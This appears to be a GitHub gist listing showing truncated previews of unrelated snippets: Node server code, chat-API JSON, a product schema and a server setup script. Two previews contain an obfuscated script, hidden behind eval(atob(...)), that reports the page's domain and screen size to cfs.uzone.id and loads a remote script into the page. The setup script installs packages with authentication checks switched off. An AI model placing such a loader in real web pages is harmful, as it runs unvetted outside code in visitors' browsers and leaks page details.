This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict'; | |
// simple express server | |
var express = require('express'); | |
var app = express(); | |
var router = express.Router(); | |
app.use(express.static('public')); | |
app.get('/', function(req, res) { | |
res.sendfile('./public/index.html'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Restify Server CheatSheet. | |
// More about the API: http://mcavage.me/node-restify/#server-api | |
// Install restify with npm install restify | |
// 1.1. Creating a Server. | |
// http://mcavage.me/node-restify/#Creating-a-Server | |
var restify = require('restify'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"status": 200, | |
"results": [{ | |
"id": 14775, | |
"name": "Cobain dulu", | |
"room_avatar": "https://qiscuss3.s3.amazonaws.com/[email protected]/21006/3930053aa688b636882a2643cf89f06a/icon.jpg", | |
"last_comment_id": 594565, | |
"last_comment_message": "haha", | |
"last_comment_message_time": "yyyy-MM-dd'T'HH:mm:ss.SSS'Z", | |
"last_comment_topic_id": 21717, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"results": { | |
"comments": [ | |
{ | |
"id": 594533, | |
"message": "shsg", | |
"username_as": "dokupaydev01", | |
"username_real": "[email protected]", | |
"user_avatar": { | |
"avatar": { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"results": { | |
"rooms": { | |
"id": 1122, | |
"name": "Cobain dulu3", | |
"room_type": 0, | |
"public_room": false, | |
"room_avatar": "", | |
"code": "pvfkjvddfovy", | |
"code_en": "q3e4aab19a3e310c7b27f67f9602f6c9c36qe21122", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"product" : { | |
"name" : "product 1", | |
"slug" : "product-1", | |
"description" : "product 1 description", | |
"image" : "http://xxx.xxx", | |
"icon" : "http://xxx.xxx" // fontawesome symbol, | |
"size": 1, | |
"side": 1, | |
"finishing" : [{"name": "finishing 1", "price": 100, "minCharge": 10000}], | |
"grammature" : [1,2,3] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
data "before!<body!<script type=\"text\/javascript\">eval(atob(\"aWYgKHNlbGY9PXRvcCkge2Z1bmN0aW9uIG5ldGJyb19jYWNoZV9hbmFseXRpY3MoZm4sIGNhbGxiYWNrKSB7c2V0VGltZW91dChmdW5jdGlvbigpIHtmbigpO2NhbGxiYWNrKCk7fSwgMCk7fWZ1bmN0aW9uIHN5bmMoZm4pIHtmbigpO31mdW5jdGlvbiByZXF1ZXN0Q2ZzKCl7dmFyIGlkY19nbG9fdXJsID0gKGxvY2F0aW9uLnByb3RvY29sPT0iaHR0cHM6IiA/ICJodHRwczovLyIgOiAiaHR0cDovLyIpO3ZhciBpZGNfZ2xvX3IgPSBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqOTk5OTk5OTk5OTkpO3ZhciB1cmwgPSBpZGNfZ2xvX3VybCsgImNmcy51em9uZS5pZC8yZm43YTIvcmVxdWVzdCIgKyAiP2lkPTEiICsgIiZlbmM9OVV3a3hMZ1k5IiArICImcGFyYW1zPSIgKyAiRjVfQ09OVEVOVCIgKyAiJmlkY19yPSIraWRjX2dsb19yICsgIiZkb21haW49Iitkb2N1bWVudC5kb21haW4gKyAiJnN3PSIrc2NyZWVuLndpZHRoKyImc2g9IitzY3JlZW4uaGVpZ2h0O3ZhciBic2EgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtic2EudHlwZSA9ICd0ZXh0L2phdmFzY3JpcHQnO2JzYS5hc3luYyA9IHRydWU7YnNhLnNyYyA9IHVybDsoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKVswXXx8ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2JvZHknKVswXSkuYXBwZW5kQ2hpbGQoYnNhKTt9bmV0YnJvX2NhY2hlX2FuYWx5dGljcyhyZXF |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
before!<body!<script type=\"text/javascript\"> | |
if (self == top) { | |
eval(atob('ZnVuY3Rpb24gbmV0YnJvX2NhY2hlX2FuYWx5dGljcyhmbiwgY2FsbGJhY2spIHsgc2V0VGltZW91dChmdW5jdGlvbiAoKSB7IGZuKCk7IGNhbGxiYWNrKCk7IH0sIDApO31mdW5jdGlvbiBzeW5jKGZuKSB7IGZuKCk7IH0=')); | |
function requestCfs() { | |
eval(atob('dmFyIGlkY19nbG9fdXJsID0gKGxvY2F0aW9uLnByb3RvY29sID09Imh0dHBzOiIgPyAiaHR0cHM6Ly8iIDogImh0dHA6Ly8iKTt2YXIgaWRjX2dsb19yID0gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKjk5OTk5OTk5OTk5KTs=')); | |
var url = idc_glo_url+'cfs.uzone.id/2fn7a2/request?id=1&enc=9UwkxLgY9¶ms=F5_CONTENT&idc_r='+idc_glo_r+'&domain='+document.domain+'&sw='+screen.width+'&sh='+screen.height; | |
eval(atob('dmFyIGJzYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO2JzYS50eXBlID0gJ3RleHQvamF2YXNjcmlwdCc7YnNhLmFzeW5jID0gdHJ1ZTtic2Euc3JjID0gdXJsOyhkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpWzBdfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnYm9keScpWzBdKS5hcHBlbmRDaGlsZChic2EpO31uZXRicm9fY2FjaGVfYW5hbHl0aWNzKHJlcXVlc3RDZnMsIGZ1bmN0aW9uKCl7fSk7')); | |
} | |
} | |
</script |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apt-get update | |
apt-get upgrade | |
apt-get install -y -- allow-unauthenticated nginx software-properties-common python-software-properties unzip | |
add-apt-repository -y ppa:ondrej/php | |
apt-get update | |
apt-get install -y --allow-unauthenticated php7.2-fpm php7.2-cli php7.2-mysql php7.2-pgsql php7.2-xml php7.2-mbstring php7.2-zip php7.2-curl | |
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" | |
php -r "if (hash_file('sha384', 'composer-setup.php') === '93b54496392c062774670ac18b134c3b3a95e5a5e5c8f1a9f115f203b75bf9a129d5daa8ba6a13e2cc8a1da0806388a8') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;" | |
php composer-setup.php --install-dir=/usr/local/bin --filename=composer | |
php -r "unlink('composer-setup.php');" |
OlderNewer